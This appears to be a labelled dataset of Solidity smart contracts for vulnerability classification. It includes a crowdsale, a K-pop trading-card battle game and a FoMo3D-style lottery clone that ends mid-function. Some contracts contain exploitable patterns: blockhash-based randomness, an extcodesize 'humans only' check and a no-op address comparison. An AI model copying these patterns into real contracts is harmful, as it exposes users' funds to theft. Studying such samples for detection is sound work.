transferInternal(owedToken, msg.sender, owedTokenAmount);
transferInternal(heldToken, msg.sender, heldTokenAmount);
return (owedTokenAmount, heldTokenAmount);
}
function rollover(
address withdrawFrom,
address depositInto,
uint256[] buckets,
uint256[] maxWeights
)
external
returns (uint256, uint256, uint256)
{
address owedToken = BucketLender(depositInto).OWED_TOKEN();
require (
owedToken == BucketLender(withdrawFrom).OWED_TOKEN(),
"BucketLenderTokenProxy#rollover: Token mismatch"
);
(
uint256 owedTokenAmount,
uint256 heldTokenAmount
) = BucketLender(withdrawFrom).withdraw(
buckets,
maxWeights,
msg.sender
);
uint256 bucket = depositInternal(
depositInto,
owedToken,
owedTokenAmount
);
address heldToken = BucketLender(withdrawFrom).HELD_TOKEN();
transferInternal(heldToken, msg.sender, heldTokenAmount);
return (bucket, owedTokenAmount, heldTokenAmount);
}
function depositInternal(
address bucketLender,
address token,
uint256 amount
)
private
returns (uint256)
{
token.ensureAllowance(bucketLender, amount);
return BucketLender(bucketLender).deposit(msg.sender, amount);
}
function transferInternal(
address token,
address recipient,
uint256 amount
)
private
{
address weth = WETH;
if (token == weth) {
if (amount != 0) {
WETH9(weth).withdraw(amount);
msg.sender.transfer(amount);
}
} else {
token.transfer(recipient, amount);
}
}
} | 0 | 135 |
pragma solidity ^0.4.4;
contract Token {
function transfer(address _to, uint _value) returns (bool);
function balanceOf(address owner) returns(uint);
}
contract Owned {
address public owner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) throw;
_;
}
address newOwner;
function changeOwner(address _newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract TokenReceivable is Owned {
event logTokenTransfer(address token, address to, uint amount);
function claimTokens(address _token, address _to) onlyOwner returns (bool) {
Token token = Token(_token);
uint balance = token.balanceOf(this);
if (token.transfer(_to, balance)) {
logTokenTransfer(_token, _to, balance);
return true;
}
return false;
}
}
contract FunFairSale is Owned, TokenReceivable {
uint public deadline;
uint public startTime = 123123;
uint public saleTime = 14 days;
uint public capAmount;
function FunFairSale() {
deadline = startTime + saleTime;
}
function setSoftCapDeadline(uint t) onlyOwner {
if (t > deadline) throw;
deadline = t;
}
function launch(uint _cap) onlyOwner {
if (this.balance > 0) throw;
capAmount = _cap;
}
function () payable {
if (block.timestamp < startTime || block.timestamp >= deadline) throw;
if (this.balance >= capAmount) throw;
if (this.balance + msg.value >= capAmount) {
deadline = block.timestamp;
}
}
function withdraw() onlyOwner {
if (block.timestamp < deadline) throw;
if (!owner.call.value(this.balance)()) throw;
}
function setStartTime(uint _startTime, uint _deadline) onlyOwner {
if (_deadline < _startTime) throw;
startTime = _startTime;
deadline = _deadline;
}
} | 0 | 1,134 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721 {
function approve(address _to, uint _itemId) public;
function balanceOf(address _owner) public view returns (uint balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint _itemId) public view returns (address addr);
function takeOwnership(uint _itemId) public;
function totalSupply() public view returns (uint total);
function transferFrom(address _from, address _to, uint _itemId) public;
function transfer(address _to, uint _itemId) public;
event Transfer(address indexed from, address indexed to, uint itemId);
event Approval(address indexed owner, address indexed approved, uint itemId);
}
contract KpopCeleb is ERC721 {
function ownerOf(uint _celebId) public view returns (address addr);
function getCeleb(uint _celebId) public view returns (
string name,
uint price,
address owner,
uint[6] traitValues,
uint[6] traitBoosters
);
function updateTraits(uint _celebId) public;
}
contract KpopItem is ERC721 {
function ownerOf(uint _itemId) public view returns (address addr);
function getItem(uint _itemId) public view returns (
string name,
uint price,
address owner,
uint[6] traitValues,
uint celebId
);
function transferToWinner(address _winner, address _loser, uint _itemId) public;
}
contract KpopArena {
using SafeMath for uint;
address public author;
address public coauthor;
string public constant NAME = "KpopArena";
string public constant SYMBOL = "KpopArena";
address public KPOP_CELEB_CONTRACT_ADDRESS = 0x0;
address public KPOP_ITEM_CONTRACT_ADDRESS = 0x0;
mapping(address => bool) public userToIsAcceptingChallenge;
mapping(address => uint) private userToActiveCelebId;
mapping(address => uint) private userToActiveItemId;
mapping(address => uint) public userToScore;
event Enroll(address indexed user, uint celebId, uint itemId);
event Expel(address indexed user);
event Rescind(address indexed user);
event FightOver(
address indexed host,
address indexed challenger,
address indexed winner,
uint challengerCelebId,
uint challengerItemId,
string selectedTrait
);
function KpopArena() public {
author = msg.sender;
coauthor = msg.sender;
}
function enroll(uint _celebId, uint _itemId) public {
require(!userToIsAcceptingChallenge[msg.sender]);
require(doesUserOwnItem(msg.sender, _itemId));
require(doesUserOwnCeleb(msg.sender, _celebId));
userToIsAcceptingChallenge[msg.sender] = true;
userToActiveCelebId[msg.sender] = _celebId;
userToActiveItemId[msg.sender] = _itemId;
Enroll(msg.sender, _celebId, _itemId);
}
function rescind(address _user) public {
require(_user == msg.sender || _user == author || _user == coauthor);
userToIsAcceptingChallenge[_user] = false;
Rescind(_user);
}
function challenge(address _host, uint _celebId, uint _itemId) public {
address _challenger = msg.sender;
require(!isNullAddress(_host) && !isNullAddress(_challenger));
require(_host != _challenger);
require(userToIsAcceptingChallenge[_host]);
require(doesUserOwnCeleb(_challenger, _celebId));
require(doesUserOwnItem(_challenger, _itemId));
uint _hostCelebId = userToActiveCelebId[_host];
uint _hostItemId = userToActiveItemId[_host];
if (!(doesUserOwnCeleb(_host, _hostCelebId) && doesUserOwnItem(_host, _hostItemId))) {
userToIsAcceptingChallenge[_host] = false;
Expel(_host);
return;
}
uint selectedTraitIdx = selectRandomTrait();
address winner = computeWinner(
_host, _hostCelebId, _hostItemId,
_challenger, _celebId, _itemId,
selectedTraitIdx
);
if (winner != 0x0) {
userToScore[winner] = userToScore[winner].add(3);
KpopCeleb KPOP_CELEB = KpopCeleb(KPOP_CELEB_CONTRACT_ADDRESS);
KpopItem KPOP_ITEM = KpopItem(KPOP_ITEM_CONTRACT_ADDRESS);
if (winner == _host) {
KPOP_CELEB.updateTraits(_hostCelebId);
KPOP_ITEM.transferToWinner(_host, _challenger, _itemId);
} else {
KPOP_CELEB.updateTraits(_celebId);
KPOP_ITEM.transferToWinner(_challenger, _host, _hostItemId);
}
} else {
userToScore[_host] = userToScore[_host].add(1);
userToScore[_challenger] = userToScore[_challenger].add(1);
}
userToIsAcceptingChallenge[_host] = false;
delete userToActiveCelebId[_host];
delete userToActiveItemId[_host];
FightOver(
_host,
_challenger,
winner,
_celebId,
_itemId,
traitIdxToName(selectedTraitIdx)
);
}
function computeWinner(
address _host, uint _hostCelebId, uint _hostItemId,
address _challenger, uint _challengerCelebId, uint _challengerItemId,
uint _selectedTraitIdx
) private view returns(address winner)
{
uint hostTraitScore = computeTraitScore(_hostCelebId, _hostItemId, _selectedTraitIdx);
uint challengerTraitScore = computeTraitScore(_challengerCelebId, _challengerItemId, _selectedTraitIdx);
if (hostTraitScore > challengerTraitScore) {
return _host;
}
if (hostTraitScore < challengerTraitScore) {
return _challenger;
}
return 0x0;
}
function computeTraitScore(uint _celebId, uint _itemId, uint _selectedTraitIdx) private view returns (uint) {
KpopCeleb KPOP_CELEB = KpopCeleb(KPOP_CELEB_CONTRACT_ADDRESS);
KpopItem KPOP_ITEM = KpopItem(KPOP_ITEM_CONTRACT_ADDRESS);
var ( , , ,celebTraits, ) = KPOP_CELEB.getCeleb(_celebId);
var ( , , ,itemTraits, ) = KPOP_ITEM.getItem(_itemId);
return celebTraits[_selectedTraitIdx] + itemTraits[_selectedTraitIdx];
}
function selectRandomTrait() private view returns (uint) {
return uint(block.blockhash(block.number - 1)) % 6;
}
function withdraw(uint _amount, address _to) public onlyAuthors {
require(!isNullAddress(_to));
require(_amount <= this.balance);
_to.transfer(_amount);
}
function withdrawAll() public onlyAuthors {
require(author != 0x0);
require(coauthor != 0x0);
uint halfBalance = uint(SafeMath.div(this.balance, 2));
author.transfer(halfBalance);
coauthor.transfer(halfBalance);
}
function doesUserOwnCeleb(address _user, uint _celebId) private view returns (bool) {
KpopCeleb KPOP_CELEB = KpopCeleb(KPOP_CELEB_CONTRACT_ADDRESS);
return KPOP_CELEB.ownerOf(_celebId) == _user;
}
function doesUserOwnItem(address _user, uint _itemId) private view returns (bool) {
KpopItem KPOP_ITEM = KpopItem(KPOP_ITEM_CONTRACT_ADDRESS);
return KPOP_ITEM.ownerOf(_itemId) == _user;
}
function setCoAuthor(address _coauthor) public onlyAuthor {
require(!isNullAddress(_coauthor));
coauthor = _coauthor;
}
function setKpopItemContractAddress(address _address) public onlyAuthors {
KPOP_ITEM_CONTRACT_ADDRESS = _address;
}
function setKpopCelebContractAddress(address _address) public onlyAuthors {
KPOP_CELEB_CONTRACT_ADDRESS = _address;
}
function traitIdxToName(uint _idx) public pure returns (string) {
if (_idx == 0) {
return "rap";
}
if (_idx == 1) {
return "vocal";
}
if (_idx == 2) {
return "dance";
}
if (_idx == 3) {
return "charm";
}
if (_idx == 4) {
return "acting";
}
if (_idx == 5) {
return "producing";
}
}
modifier onlyAuthor() {
require(msg.sender == author);
_;
}
modifier onlyAuthors() {
require(msg.sender == author || msg.sender == coauthor);
_;
}
function isNullAddress(address _addr) private pure returns (bool) {
return _addr == 0x0;
}
} | 1 | 2,414 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3Dshort is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xF6b8836492f8332D17B1496828d2bEE71ad511DA);
address private admin = msg.sender;
string constant public name = "MOFO 3D";
string constant public symbol = "MOFO";
uint256 public rndExtra_ = 30 minutes;
uint256 public rndGap_ = 1 hours;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 5 seconds;
uint256 constant private rndMax_ = 10 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
